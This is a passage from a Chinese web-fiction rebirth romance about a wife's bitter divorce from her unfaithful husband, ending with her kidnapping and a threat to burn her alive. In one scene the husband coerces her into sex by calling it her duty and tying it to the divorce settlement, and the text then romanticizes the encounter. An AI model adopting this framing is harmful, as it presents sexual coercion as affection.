前世他可没这么分裂。
只是,现在的她,已经不是小孩子了,给块糖就可以哄一天。
“我不接受。”
“那怎样,才肯接受?”他紧紧地箍着她的腰,让她无法逃,“三百万不少了,南伊,试问一下,你嫁给我这些年,我亏待过你吗?霍家亏待过你吗?别得寸进尺的。”
宋南伊听得可笑。
他这副上位者的嘴脸,真令人恶心。
“你没亏待过的,何止我一个。”她又用力地挣扎了一下,“霍时序,做错事,是要付出代价的,你……唔……”
宋南伊的唇,突然被吻上了。
双眸瞪大,连反应也慢了半拍。
他没吻太久,浅尝辄止。
“夫妻吵架,床头吵,床尾合,别耍小性子了,嗯?”
他眼尾的笑意,透出一丝令宋南伊不是很愉快的弧度。
抬手就甩了他的一个耳光,“霍时序,我警告你,没经过我的允许,不许亲我,我嫌脏。”
霍时序被打懵。
诧异又震惊地看向她,“打我,打上瘾了是吧?”
“你不应该被打吗?”他还委屈上了,“霍时序,不要企图,用这种亲密行为,来稀释你对我的背叛和羞辱,你,还没有那么值钱。”
宋南伊这通火发的,霍时序没了脾气。
他本意,并不是要跟宋南伊闹翻。
“真不打算原谅我?非得要股权?你什么时候,变得这么贪财了?我是缺你钱花了,还是没让你为所欲为了?”
“霍时序,我们是要离婚的,别谈感情,行吗?”她根本不想听,用力推开男人,“你给我花钱,你就没有给外面的女人花钱吗?你可以用钱去讨好任何一个女人,我现在已经不需要了。”
宋南伊伸手去拿餐桌上的手机。
手没拿稳,手机刚好掉到了霍时序的身上。
手机未锁的屏幕,还在她和陆为谦的聊天页面上。
#
“明天晚上,在江城的情人桥上,有一场烟花秀,有兴趣一起看吗?”
“好啊。”
“那我们八点在桥上见,不见不散。”
“好啊。”
#
“砰。”
手机被霍时序重重地摔在大理石的地面上。
瞬间支离破碎,乱七八糟。
如同,他们无法挽回的婚姻。
声响太过于震撼,宋南伊吓得抱头。
恍然间,她听到霍时序如雷般的怒吼,“宋南伊,你是想告诉我,你在婚内已经出轨了是不是?你是不是跟他上床了?”
“我……”她想否认。
艰涩间。
她的身体突然腾空,人被扛在了他的肩上。
“霍时序,你要干什么,放我下来。”
他把她重重扔到床上。
不管不顾地压了上去。
遒劲的指尖,紧紧地扣着她的下巴,狠狠发问,“怪不得你一直在跟我要霍氏的股份,你想拿着我的钱,跟陆为谦远走高飞,去过你们逍遥自在的日子,是不是?”
宋南伊不知道霍时序,是怎么臆想了这些事实。
几句聊天记录而已。
也这样勃然大怒。
只准州官放火,不许她有正常的交往。
他力气很大,她吃痛,皱紧了眉头,“就允许你搞破鞋,我不行吗?霍时序,这个世界是公平的,你给我戴绿帽子,就得承受,我给你戴绿帽子。”
“你……”他高高扬起手。
第47章 副驾驶上的女人,还是那个吗?
宋南伊闭上了眼。
他要打就打吧。
反正,她对他已经失望透顶。
手掌最终化成拳头,落到了她的耳边,“告诉我,你跟他没有上过床,对吗?”
他声音莫名有些哽咽。
脸压在她的颈窝里。
像是在乞求。
乞求宋南伊说出的答案,是他心里想的那样。
“你跟苏语安都有孩子了,我跟谁上过床,有那么重要吗?”她不知道,霍时序在执着什么。
明明都不爱了。
明明,他如此地折磨她。
“孩子?我什么时候跟苏语安有孩子了?”他反问,理直气壮的。
宋南伊不知道他在装什么。
日日夜夜在一起,怀上孩子,早晚的事情。
苏语安都已经承认了。
“霍时序,我妈为什么会得癌症?全是因为苏语安气的,她天天跑到我妈的面前,说她怀了你的种,让我赶紧腾出霍太太的位子,给她和孩子一个名分,难道,她在撒谎吗?”
霍时序一时语塞。
这事,他真不知道。
“我没碰过她。”他已经解释过。
这种谎言。
宋南伊已然没有兴趣听下去。
可是男人压着她,她动弹不得,“霍时序,我再也不会相信你了。”
“南伊,我从未想过跟别人生孩子。”
宋南伊听得烦。
想过怎样,没想过又怎样。
事实就摆在眼前。
“霍时序,你赶紧把苏语安娶了吧,放过我,我会感谢你八辈祖宗的。”
她挣扎着想要推开身上的男人。
他却握着她的下巴,再次吻住了她的唇。
他试图用情爱,泯灭她心中的愤怒和不甘。
可他用错了方式。
如果从一开始,他就肯在意她的感受,不跟一个来历不明的女人爱得死去活来,他们的婚姻,何苦要到现在这个地步。
他在她的耳边,说着熟悉又陌生的情话。
呢呢喃喃的,不想同她离婚。
却只字不提,苏语安肚子里孩子的由来。
整个世界,就像一个巨大的谎言机。
抓出的每一个娃娃,都透着虚伪。
令她无法招架。
宋南伊空洞的望着天花板。
荒诞。
风平浪静后。
霍时序的车子,开出了老宅。
墨色豪车里的男人,对着助理说,“叫上周医生,去一趟苏语安那儿。”
“霍总,您是……”
“她不是四处说,她怀孕了,我去证实一下。”他眉眼冷淡。
“是。”
……
隔天傍晚的烟花秀。
宋南伊给裴吟发了条信息,“你帮我跟陆律师说一声吧,我临时有些事情,今晚不能赴约了,一定要亲口带到哦。”
她想给二人个机会。
不管是自作主张,还是什么。
“裴吟,你一定记得,当面跟陆律师说哦。”
“知道了。”
裴吟答应下来,还顺带着埋怨了两句。
宋南伊嘻嘻哈哈的,混了过去。
霍明达约了她再次见面。
股权转让书,他已经让律师准备好,只等着宋南伊签字。
他挺心急的。
这霍氏的总裁,应该让他来当才是。
“0.5%?”宋南伊觉得他小气了,“爸,您这是打发要饭的呢?”
宋南伊将合同一推,不签了。
“南伊啊,你知道爸本身持有的股份也不是很多,这已经是爸的极限了,但爸可以保证,让你在跟时序离婚的时候,额外拿到百分之三。”
宋南伊听得出来,这是霍明达的权宜之计。
其实0.5%也不少。
但是,霍家人这种想花最少的钱,办最大的事情的风格,她挺瞧不上的。
“爸,现在股市上每天跌掉的也不止几百个亿,您这……”
“南伊,你就给爸个面子,别看这0.5不多,但是,写的是你的名字,是完全属于你个人的,你就……”
霍明达,似乎也达到了自己的极限。
为了不把他惹毛。
宋南伊故作为难的大度,“那行吧,爸可要说话算话。”
“当然。”
宋南伊签了合同。
霍氏0.5%的股权,就转让到了她个人的名下。
霍明达不忘叮嘱,“这几天就要召开记者招待会,我会让公关把到时要说的内容,发给你,你只管背下来就好。”
“好的。爸。”
……
前脚送走了霍明达。
霍时序的车子就开到了自己的面前,车窗落下。
露出两张脸。
苏语安坐在副驾驶上,唇角勾着笑,“南伊姐。”
宋南伊蹙眉。
霍时序:“上车。”
宋南伊不明所以。
甚至往后退了一步,“干嘛?”
“去看烟花秀。”他像是故意的,阴阳怪气,“别爽了陆律师的约。”
“有病。”
宋南伊不想跟霍时序掺和。
但男人还是下车,拦下了她,“心虚啊?”
“你想带苏语安去看烟花秀,就去看,别以为拉着我,那些媒体就为你说好话了,我看现在霍氏的股价还是掉得不够狠。”
宋南伊冷笑。
霍明达为了霍氏股价止跌。
不惜拿霍氏的股权,换她出面澄清二人的关系。
霍时序却大摇大摆地,将苏语安带在身边,出现在人潮最汹涌的地方。
他想羞辱她也就罢了。
霍氏,也不想要了?
看来,爱情让人头昏脑涨,没说错。
“别扯没用的,心里没鬼,就去。”
他摆明了,要戳穿宋南伊和陆为谦之间,见不得人的关系。
很兴奋,像是要去捉奸。
宋南伊无语抱怀,“我去可以,让苏语安滚下去。”
“你老跟她较什么劲?”他不愿。
宋南伊也不上车。
他索性握住她的腰,抱起她,塞进了车子后座,直接落锁。
“南伊姐,你是不愿意跟我一起去看烟花秀吗?”苏语安又开始惺惺作态,“那一会儿下了车,你和时序哥一起好了,我就在旁边跟着,姐姐不会介意的吧?”
宋南伊看够了苏语安这副嘴脸。
扭脸,托着下巴,透过车窗,望向黑夜里的江城。
眼神怔忡。
去往看烟花的路上,车辆很多。
一个红绿灯处。
同行并排的车子,落下车窗向霍时序喊话。
“大哥,你都开上劳斯莱斯了,副驾驶上的女人,还是当年最爱的那一个吗?”
霍时序英挺的俊脸上,没有一丝毫的表情。
只是,握着方向盘的手指,不自觉地用力。
宋南伊苦笑。
这个世上,能从一而终的男人,或许很多。
她命不好,没碰上而已。
红灯变绿灯。
车子一脚油门,蹿了出去。
情人桥挤满了来看烟花秀的人。
大部分都是情侣。
今天晚上烟火秀和无人机秀一起表演,场面恢宏。
下了车。
宋南伊独自往桥上走去。
“时序哥,南伊姐是不是生气了?要不,我还是……咳咳……”苏语安掩唇咳嗽着,一副虚弱的模样,“……我知道你是想让我出来透透气,好让身体恢复得快一些,咳咳……”
霍时序面无表情,“走吧。”
他快走几步,抓住宋南伊的小手,握在掌中,“这么着急?怕陆为谦等急了?”
第48章 你在勾引我的老婆
“霍时序,你能好好说话吗?”她挣了两下手。
霍时序笑笑,声音温柔了起来,“生气了?要不,我打个电话,让陆为谦自己现身?”
宋南伊没理。
她仰头看着空中的无人机表演。
这些小飞机,排列着各种有爱的图案和数字。
花瓣洒下来。
年轻的情侣们,欢呼,尖叫。
人潮涌动。
霍时序怕她被人流冲散,紧紧地将她护在身前,用风衣,将她裹住。
苏语安就没那么幸运。
人流将她挤来挤去的,几次踉跄后,她摔倒在地。
“时序哥……”
“时序哥,我摔倒了……”
她的呼救声,被冬日的寒风吹散。
霍时序连头都没有回。
苏语安咬着牙,从地上起来,看向霍时序的背影。
“你们现在倒是恩爱上了?霍时序,你可知道,我的男人再也无法将我拥入怀中,他,死的那样惨……”
她咬牙切齿,面部扭曲,“……如果不能将你置于死地,我就先从你身边的人下手,宋南伊……现在,她还是你的老婆,我看你也没那么在乎,她死了,你应该也不会太难过,哈哈……”
她受够了,被圈养起来,天天打针吃药,一次又一次的被抽干血的滋味。
她要反击,现在就现在……
……
烟花秀开始。
竞相绽放在夜空中的烟花,点亮了江城的半边天。
宋南伊仰头看着,这专属于这个城市的浪漫。
好美啊。
回忆袭来。
前世,霍时序向她求婚。
除了那6.18克拉的钻戒,还有那场足足燃放了13个小时14分的烟花。
他说,是一生一世的意思。
他愿陪着她,一生一世。
他愿她陪着,一生一世。
可现在呢?
他会带着别的女人去挪威看极光,会跟别的女人生孩子。
会将她置于死地。
人啊。
终究是会变的。
爱情是最信不过的东西。
风很冷。
即便是被拥在怀里,她还是有些彻骨的寒。
“霍时序,我们再也回不到那个满是蝉鸣的夏天,那场漫天的烟花,和轰动江城的婚礼现场,回不去了,永远回不去了……”
她不知道,他能不能听懂自己的感叹。
或许,他只觉得自己在矫情。
不重要了。
他垂眸看着她的侧脸,心口像被攥了一下。
深深紧紧地拥住她,“南伊,我的心没有变过,你的心变了吗?”
她失语涩笑。
男人就是这样的。
就算被抓奸在床,也会用一句,在开会,轻飘飘地带过。
错误都是女人犯下的。
这样的婚姻,哪里还有存在下去的必要。
她扭过脸来,看向霍时序,涩涩的,“是啊,我已经变心了。”
他嘶了一口,低头咬她的耳垂,“就会气我。”
因为有烟花。
寒冷的夜色,变得温暖。
情侣们接吻,拥抱,许下山盟海誓,令人激荡。
可是这一切都不属于她。
烟花终将落幕。
情人桥,也人走灯熄。
宋南伊的手机响了一声。
是霍明达的秘书发来的信息。
记者澄清会,明天举行,文档里,是明天要对媒体说的话,让她背熟。
她有点头疼。
“南伊。”有人唤了她的名字。
宋南伊抬眸望过去。
是裴吟。
她身旁站着陆为谦。
陆为谦的眼神,落在宋南伊的面上,透出疑惑,仿佛在问,她说的有事,是陪霍时序看烟花?
宋南伊无法解释。
只是强装平静地笑了笑,“好巧啊。”
“陆律师?”
霍时序像受了什么刺激一般。
突然的占有欲来了。
将宋南伊搂在身旁,“今天的烟花很美,我和南伊也是过来看烟花的。”
陆为谦神色黯淡。
宋南伊觉得场面太尴尬。
将裴吟叫到身旁,“裴吟,你开车来的吧?送我回去吧。”
“好啊。”裴吟客套地与陆为谦告别,“陆律师,那我们就回去了。”
陆为谦点头。
宋南伊挣脱开霍时序的大手,和裴吟离开。
看着陆为谦目送的眼神,霍时序气不顺地说,“你给南伊发的信息,我看到了。”
陆为谦扭过脸来。
皱眉反问,“看到了,又能怎样?”
“你在勾引我的老婆,你说怎样?”霍时序攥住陆为谦的领口,搞不懂,他在硬气什么,“陆为谦,你信不信,我揍到你,连律师都做不了?”
“你当然可以,但你能让南伊,回心转意吗?”陆为谦勾唇轻笑,“霍时序,她的心已经不在你身上了,你就接受这个现实吧。”
“所以呢?你想当接盘的?”
陆为谦点头承认,“谢谢你给了我这么一个机会。”
“你……”霍时序挥起拳头,打在了陆为谦的脸上,“……欠揍。”
他的好兄弟,从暗恋变得明目张胆。
一再的挑衅,他忍无可忍。
陆为谦没有还手。
只是嘲笑地看着他,“三个月马上就到了,离婚所有的需要的东西,我也准备好了,霍时序,无论是协议还是打官司,这次,我们一定会赢。”
他注意到,陆为谦用了‘我们’,这样亲昵的词。
拳头挥得更高,更重,更狠。
“就算我们离了,宋南伊也不可能嫁给你,陆为谦,你就是阴沟里的老鼠,你永远上不了台面。”
霍时序挖苦的不止是陆为谦的感情。
还有他阴暗潮湿的心。
其实。
陆为谦出现的次数并不多。
但每次,都能把霍时序的愤怒,激化到最顶点。
也许是不自信。
也许是怕失去。
霍时序自己也说不清楚。
……
回程的车上。
裴吟似是一瞬间,明白了什么,“今天,你是故意的吧?”
“什么?”
“你故意让我去跟陆为谦见面的,对吗?”
宋南伊抿唇,“你不是说,陆为谦这个人,挺合适做老公的吗?给你们一个机会,兴许,会擦出火花也不一定啊,我可是纯好心。”
裴吟扶额。
她是真搞不懂宋南伊。
自己的事情都一堆乱,还有心思,帮别人牵线搭桥的。
“你可真够闲的。”
“你们聊得还好吗?”宋南伊问。
裴吟摇头。
陆为谦对她并不来电。
“他心思没在我身上。”
“哦。”
裴吟扭脸,看了宋南伊一眼,“你呢,怎么还跟霍时序看上烟花秀了?你什么情况啊?又被他三言两语的,搞迷糊了?”
“他拉我过来,是为了给他和苏语安打掩护的。”
裴吟不怎么信。
刚刚她看到宋南伊的时候,她是被霍时序紧紧的搂在怀里。
至于,那个苏语安,在哪儿?
“霍时序这种贱狗,在女人堆里混久了,很会拿捏女人的心思,你要是真被他哄好了,我可真就瞧不起你了。”
裴吟对霍时序恨之入骨。
希望宋南伊也长长志气。
宋南伊笑她多虑,“我哪是那么容易就哄好的,他欠我的太多了,我巴不得马上离婚,从此路归路,桥归桥。”
第49章 没有爱的夫妻生活
宋南伊回老宅后,洗了澡,准备睡觉。
今天这事,抛开霍时序不谈,对陆为谦挺抱歉的。
思来想去的。
她还是给陆为谦发了条信息,“陆律师,今天,我不是故意爽约的。”
那头秒回。
“到家了?”
宋南伊继续打字,“嗯,我就是跟你解释一下,怕你误会。”
“不会。”
“哦,那你也早点休息。”
“晚安。”
寥寥几句,宋南伊心里挺不是滋味的。
昏昏沉沉要睡着的时候。
她听到了有人进门的声音。
霍时序比她预想的回来,要早一些。
她很懒,翻了个身继续睡。
窸窣的脱衣的声音。
而后身边床垫一沉,她的腰被扣住,随即身子被掉了个,跌入了他的怀中。
“你干什么?大晚上的,能不能别打扰别人休息?”宋南伊推了他一下。
他扣住她的手腕,顺势举到头顶,压住,“做一次。”
“做什么?”
“你说什么?”他不喜欢她在这事上装傻,她已经拒绝过他很多次。
低头在她的颈子上咬了一口,“夫妻之间能做的,会是什么?性生活。”
宋南伊瞪大了眼睛。
十分不情愿的拒绝,“来例假了。”
“我不信。”他大手摸了过去。
宋南伊吓得差点从床上跳起来,“霍时序,你还能不能再不要脸一点?”
“别想着拒绝我,这是你的义务。”他看出她眼中的厌恶,补了句,“三个月马上就要到了,想要好好跟我离,还不用赔那三百亿,甚至能从我这里拿走一些股份,还是撕破脸,全看你的表现。”
宋南伊心如死灰。
霍时序是越来越卑鄙了。
她瞪着他,不说话。
他便也没客气。
压着她在床上做了一次,又抱她去浴缸里,来了一次。
不知道是不是陆为谦刺激到他了。
今晚,他格外疯狂。
宋南伊承认,她已经很长时间,没有体会到这种极致的愉悦。
但,那又怎样。
没有爱的夫妻生活,不过就是为了身体上的满足。
她也不吃亏。
霍时序在这方面,强得要命。
“怎么样?”他需要她的回应,眼眶红得要命。
宋南伊的小手搭在他的肩头,吐息着,“你和苏语安,天天也这么激烈吗?”
“我和她清清白白。”
宋南伊笑了。
明明白白的鬼混在一起,才对。
“我不在意霍时序,只要别让我染上脏病就行,我怕死。”她盯着他的眼睛。
四眸相对。
有那么一瞬间,好像穿越回到了他们最相爱的时候。
他喜欢情之所致的时候,这样抱着她做。
她像只软软的小猫,会抓伤他的后背,也会咬他的肩头。
他更喜欢,她体力上受不住,在他怀里沉沉睡去的甜美模样。
现在呢?
除了陌生疏离,还有什么?
大概只剩下恨意了吧。
可是……从什么时候开始恨的呢?
“南伊。”他温柔地唤她,去吻她的唇。
她没有拒绝,捧着他的脸,与他接吻。
夜,沉溺。
半睡半梦间,她听到他在耳边说,“南伊,我真的很爱你……”
话,很不真实。
应该是做梦了。
……
翌日一早。
宋南伊挑选了衣柜中,最雍容华贵的那件套装,足足可以让她显老十岁,但足够高级,是霍家少夫人身份的象征。
霍时序穿了一件藏蓝黑的西装。
领结和袖扣,都是宋南伊以前为他购买的。
身材高大修长的男人,无论穿什么,都透出一股子矜贵。
他牵着她的手出门。
来到霍氏专门召开记者会的地方。
记者们像闻着血腥味的鲨鱼,鱼贯而入,将会议室,挤得水泄不通。
词都是背好的。
除了闪光灯,令宋南伊有些不适,她发挥的还算不错。
霍时序更不必说,他习惯谎言,尤其是大众面前,游刃有余。
有记者提出问题。
“霍总,那您和苏语安,到底是什么关系呢?很多场合,看到您都在维护苏语安,真的只是救助和被救助的关系吗?”
记者的问题,提得不错。
宋南伊也想听听霍时序怎么回答。
“我与我的太太宋南伊小姐,青梅竹马,我苦追他七年,她才肯答应跟我结婚,我这么爱她,难道还会跟别的女人扯上关系?苏语安只是集团救助的一个苦命人,仅此而已。”
他的回答,滴水不漏。
但可信度,几乎没有。
至少,在宋南伊听来,他属于扯淡。
记者马上追问,“我听说苏语安小姐怀孕了,这事是真的吗?如果是真的,她怀了谁的孩子?”
记者很犀利。
没打算放过霍时序。
他的脸色,肉眼可见地黑了下来。
江淮出面制止道,“今天的发布会,到此为止,谢谢。”
记者不死心,继续追问,“霍总,你不愿意回答的原因,是因为苏语安小姐,确实怀了孩子,而您就是这个孩子的父亲,对吗?”
“谁告诉你的?”霍时序被点燃了怒火,脸色很是难看。
记者有些被吓到。
但为了拿到一手的新闻,也是豁出去了,“那请霍总回答一下吧?”
江淮将提问的记者,推着往外走。
“如果霍总有什么要告诉大家的,一定会再次召开记者招待会,今天,大家辛苦了,请回吧。”
记者们被请出会议室。
门从里面关上。
江淮走过来,“霍总,等这些记者都走干净了,您再出去。”
霍时序不说话。
宋南伊也没什么可聊的。
差不多半个小时。
霍时序的手机响了。
“喂?”
“时序哥,家门口好多记者,我好害怕,你赶紧过来。”苏语安的声音,在这寂静的空间里,格外的清晰。
也不知道是霍时序的手机听筒,没开隐私功能。
还是他老了,听不清,调大音量。
宋南伊真的觉得,大可没必要,每次打电话,都让她听得这么清楚。
她以为霍时序放下电话就走。
结果,男人挂断了手机。
宋南伊挺好奇的,“不打算过去瞧瞧?”
“我要走了,那些记者回过头来,堵你,怎么办?”
宋南伊笑了,他应该是怕刚刚开的记者发布会,打水漂。
毕竟是花了三百万和0.5%的股权,换来的。
但还是忍不住揶揄了口,“你放心,我也不知道那孩子是不是你的,不会乱讲的。”
霍时序气闷。
看到他生气了,宋南伊心里很爽。
曾几何时。
他们是为彼此,提供情绪价值的最优人选。
再看看现在。
恨不得对方去死。
那刀子是哪里疼,往哪扎。
气氛一时凝滞。
霍时序对江淮说,“你去苏语安那儿看一眼,确保她不要出问题。”
“好的,霍总,我马上过去。”
宋南伊心口哂。
他还是放心不下。
这种牵肠挂肚,扎得心疼。
第50章 我早想杀他了
霍氏的股价总算是稳住。
宋南伊的公司马上要放年假,这几天,她很忙。
邓雪把最后一份文件交给她,“老板,这文件签完,咱们也要放年假了,你有什么安排吗?”
宋南伊潇洒地签上自己的名字。
将文件递还给邓雪。
“陪陪家人吧。”前世陪伴的时间太少了。
“嗯。”她收好文件,“老板,那我收拾一下就下班了,祝你新年快乐哦。”
“新年快乐。”
公司里的人,都下班了。
宋南伊独自坐在自己的椅子上,怔忡着望着窗外的黑夜。
思绪万千。
她希望,她的黎明快一点到来。
离开公司时。
差不多已经是晚上的八九点钟。
前世,她和霍时序还恩爱那会儿,他是不允许她晚上加班的。
要是真有什么特殊的工作,非得加班。
他也会早早来公司里等着她,晚上一起回家。
他说,他是不放心的。
现在呢?
有一种往事不可追忆的悲凉感。
裹了裹风衣,她走出公司大楼,准备去开车。
风吹起她的长发。
她感觉后背发凉。
不由得加快了脚步。
“唔……”
一块带着蒙汗药的布,将她的口鼻捂住。
人,连呼救的机会都没有。
就被扛起来,扔进了一辆没有牌照的面包车里。
等到宋南伊醒来时。
她发现自己身处一处废弃的厂房。
处处透着刺鼻的机油味,还有一台车床发出沉闷的声响,像要把谁剧成两半。
宋南伊的脑袋还有一些混沌。
她用力挣扎了两下。
发现自己被牢牢地绑在了一个木质的椅子上。
“谁啊,到底是谁啊,谁绑了我?救命,救命啊……”
“别喊了,宋南伊,没人来救你的。”
宋南伊愣住。
是苏语安的声音。
“苏语安,你绑架我?谁给你的胆子?”
苏语安嗤笑,“我是没胆子绑你,但是,霍时序让我这么做的,我自然没什么可怕了喽。”
宋南伊:……霍时序?
她不解:“他让你绑架我?为什么?”
“当然是你胃口太大喽,离个婚,又要钱,又要分他的股份,换成谁,也得弄你啊,只不过是霍时序,不好出手,这坏人,自然由我来当喽。”
宋南伊震惊。
霍时序一直不想离婚,就是不想分割财产,这点她知道。
难道仅仅是为这个,就要把她置于死地?
说过要好好谈离婚的。
只要他肯痛快地离开,她可以什么也不要,甚至,她都可以说服父亲,赔偿他口中所谓的损失。
为什么?
宋南伊的心凉了。
前世,绝望的那一幕,又开始在眼前上演。
自始至终,他的心里只有让她死一件事情。
宋南伊笑了。
眼眶里满是悲凉的水气,“苏语安,我怎么信你?”
“你信与不信,都不重要。”苏语安勾了勾手指,跑过一个只露着两只眼睛的黑衣人,“先让她再睡一会儿。”
同样的一块布,再次捂上宋南伊的口鼻。
瞬间,她就昏迷。
黑衣人摘下头套,看着不省人事的女人,慌张地说,“姐,她是,我见过她,她人很好的,为什么,你跟她有仇吗?”
苏语安面容阴沉。
她要让宋南伊死,然后是霍时序,她要他们统统的为郑拓偿命。
“景晨,你还记得你郑拓哥是怎么死的吗?”
苏景晨当然记得。
拆迁队来拆迁,他跟人家起了冲突,意外去世了。
“姐,那是场意外,你不会是把账算到这个女人身上了吧?拆迁队的人,都是男人啊,再说,再说……”拆迁出了人命,是按最高规格赔的,“……赔了好多钱的,这事不是……”
“拆迁的背后是霍氏集团,这个宋南伊就是霍时序的老婆,你说跟她有没有关系?”苏语安紧紧的攥起拳头,身子都在颤抖,“我等不了,我先杀了她,再杀霍时序,他们都得死。”
苏景晨吓到了。
也是今天,他才知道,这段时间,苏语安根本就是被霍时序圈养着。
原来,她一直在处心积虑地想要为郑拓报仇。
“姐,你别犯混啊,且不说你杀不杀的了霍时序,就算是杀了,你也得偿命啊。”
“我不杀他,我就不用死了吗?”苏语安撸起袖子,给苏景晨看。
伤口密密麻麻,触目惊心。
旧伤未好,又添新伤。
“你以为霍时序养着我,对我百依百顺的,是为了什么?”她痛苦地看着这些伤口,每一道伤口,都是她在鬼门关逛一圈的证明,“早晚我都会死的。”
“他……姐,你的手臂上……,这到底是怎么回事?”
苏语安苦笑着,将手臂收回,“他母亲得了一种罕见病,定期需要输血,而我,就成了他妈的血袋子,如果我再不动手,我就被他抽干了,他是个恶魔,魔鬼……”
“所以,你跟在他身边,根本不是小三……”
苏景晨记起来了。
苏语安曾经给他转过一笔二百万的钱。
钱太多,他不知道钱的来路,一直没敢动。
是不是这钱,就是霍时序买血给的补偿?
“……姐,你……那他知道你想杀他吗?”
苏语安摇头。
她也不清楚。
霍时序心思缜密,城府颇深。
这样的男人很危险,她只能不停地示弱,才能换他半分的信任。
“可能知道,可能不知道,我现在快没有用了,我的血已经无法产生,足够的抗体……”她似是想到了什么,紧紧地抓住了苏景晨的手,“……景晨,你不要在江城了,你回眷村,或是去别的地方,走得越远越好,我怕霍时序他……”
“你说他会来找我吗?让我替代你?”
“会的,他一定会的,你跑吧,不要让他找到。”
苏景晨摇头。
他不能丢下姐姐。
他更不想看到姐姐,因为仇恨,犯下无法弥补的错事。
“姐,咱们把这个女的放了吧,霍时序不是给了你二百万,我们一起走,一起离开江城,郑拓哥已经死了,他的死只是意外,与别人无关的,你别再执迷不悟了。”
“不,不……”苏语安放不下。
她为了走到霍时序身边,付出了那么多,她不能轻易就离开。
她不甘心。
“景晨,你走吧,越远越好,我今天不仅要杀了宋南伊,还要杀了霍时序,我要让他们一起死,这样,我对郑拓就有交代了。”
她笑了。
年轻的小脸上,透出绝望。
今天就同归于尽吧。
……
宋南伊再次醒来时。
四周静悄悄的。
还是深夜。
万籁俱寂。
应该不会有人来救她,她今天,死定了。
她笑。
两行清泪。
是啊,霍时序想让她死,她怎么逃得了呢。
第51章 你超雄啊
霍时序等到接近凌晨。
宋南伊都没有回家。
起初,他以为她回娘家了,给刚放假的宋星言打了个电话,问了一嘴。
那头说,并没有回去。
他又给她发了很多信息,问她去哪儿了。
依然没回。
电话打过几遍后,就关机了。
难道……
她跟陆为谦在一起?
一想到,这个事情的可能性极高。
霍时序压不住火气,扯了外套,开车直奔陆为谦的家。
“马上给我滚出来。”他握着手机,气势汹汹喊。
陆为谦正准备休息,接到霍时序的电话,莫名其妙,披了件睡袍,从楼上下来。
“这么晚了,有事吗?”他很无奈。
看到陆为谦如此随意休闲的穿着,霍时序不由往男女这事上想。
“你和南伊睡了?”他攥起男人的领口,狠狠地质问。
陆为谦压低眉心,“你大晚上不睡觉,跑到我这儿,就是问这事的?”
“她现在,是不是在你床上?告诉我?”霍时序怒吼。
声音穿透耳膜,陆为谦不适地闭了闭眼,“你想知道什么答案?”
“我想知道,你们是不是做了?”霍时序像要吃人,他一想到宋南伊在陆为谦身下承欢的样子,他就无法冷静,“陆为谦,你要真跟南伊做了,我绝对会杀人的。”
“你已经不爱她了,她跟谁在一起,真的那么重要吗?”
陆为谦很不理解,霍时序现在的暴怒。
如果他真的这么在乎,怎么会去爱另一个女人。
简直是自相矛盾。
“她可以去爱任何一个人,就你不行。”
“为什么我不行?霍时序,或许我哪里也不如你,但我不会让南伊受伤,不会让她哭,你给了她什么?背叛,无情,刻薄,伤害,就凭这一点,你就不如我。”
陆为谦语调平缓。
却刺穿了霍时序的心。
他承认,他这段时间,做得不够好。
但这不是她出轨,找男人的理由。
“所以,你就迫不及待地跟她睡了?”他咬牙切齿地,瞪着眼睛,“她是我的,只要我不离婚,她就不可能跟你在一起,陆为谦,你要是睡了我的女人,你就死定了。”
“你的女人?”陆为谦冷笑,“那你还是她的男人吗?霍时序,你变了,变得我们大家都不认识你了,如果你只能选择一个,那就把南伊放了吧。”
“妈的。”
霍时序挥起拳头。
陆为谦跟他扭打在一起。
或许有新仇,也或许有旧恨。
两个大男人,你来我往,谁也没有手下留情。
几个来回下来。
双方都很狼狈。
“你就告诉我,宋南伊是不是在你家?”霍时序的额角上受伤,气喘吁吁,“说啊。”
陆为谦擦了擦嘴角上的血,“没有。”
“真没有,还是假没有?”
“你不信,就自己进去找。”陆为谦艰难地起身,“你什么时候,变得这么疑神疑鬼了?天天打架,有意思吗?你超雄啊?”
霍时序看向陆为谦。
他的话不像假的。
但是,宋南伊确实也没有回娘家,更没有回老宅。
家里,公司里,他都去找过了。
均没有人。
人怎么会,无缘无故的就消失了呢?
“南伊不见了。”
陆为谦震惊,“你说什么?南伊不见了?好好的一个大活人,怎么会不见了呢?”
“她的车子还停在公司楼下,但人不见了。”
两个男人对视。
空气中弥漫着一丝不祥的预感,
陆为谦迅速从口袋中掏出手机,拨通了宋南伊的号码,冷冰冰的关机提示音,与霍时序的情况如出一辙。
他又给裴吟打了个电话。
希望宋南伊是跟她在一起。
结果,并没有。
“报警了吗?”陆为谦的声音急切。
霍时序摇头,神色凝重。
多年的律师生涯,让陆为谦见多了世间百态,一个年轻漂亮的女人,半夜失踪,不会是什么好事。
“分头去找吧,你先联系警方。”陆为谦祈祷着,只是虚惊一场。
夜色中,两辆汽车疾驰而出,分别开往了不同的方向。
……
废弃的厂房里。
苏语安,往宋南伊的身上浇满了汽油。
她像疯了似的,不放过她身体的每一寸,“这男人啊,生来就是无情种,你要怨就怨霍时序吧,我胆子小,可不会杀人,但……他让我做,我不得不做啊,南伊姐,你不会怪我的,对吧?”
汽油味刺鼻。
宋南伊呛得眼睛几乎睁不开。
“苏语安,你想做霍太太,我让给你,你杀了我,你就什么都没有了。”
宋南伊企图唤起苏语安一点良知。
显然,她想多了。
苏语安狂笑着,将汽油桶扔到一旁,“宋南伊,怪就怪你自己,把离婚战线拖得太长了,谁他妈这么有耐心,陪你玩游戏啊?你以为你是谁?”
她扭头看向苏景晨,“景晨,一会儿这火你来点。”
苏景晨指尖的打火机,在瑟瑟发抖。
他甚至都不敢看宋南伊的眼睛。
“姐,我,我……”
“是霍时序是杀她的,不是我们。”苏语安还在给弟弟洗脑,“他是刽子手,我们只是替他办事。”
她紧紧地摁住弟弟的手。
用只有两个人听到的声音,“你放心,后果我来承担,等把宋南伊烧死了,你就赶紧离开,走得越远越好,永远都不要回江城。”
苏景晨摇着头。
他觉得不值得。
郑拓已经死了,没必要为了个死人,再搭上这么多人的性命。
“姐,放了她吧,她是个无辜的。”
“不,她不无辜。”苏语安从苏景晨手里拿过来打火机,“既然你不敢,姐姐也不为难你,这事,还是我来做好了。”
苏语安带着危险,一步步地走近宋南伊。
宋南伊没想到,重活一世,还是得死,不过就是换了种死活。
她挺不甘的。
早知结局是这样的。
重生第一天,她就把苏语安和霍时序全杀了。
哪至于,现在在等死。
“宋南伊,被火烧其实不痛苦的,我没有骗你,你体验一下。”苏语安狞笑着,将打火机递到宋南伊的面前,“死亡也不痛苦的,希望你下世投个好胎,不要再遇到霍时序了。”
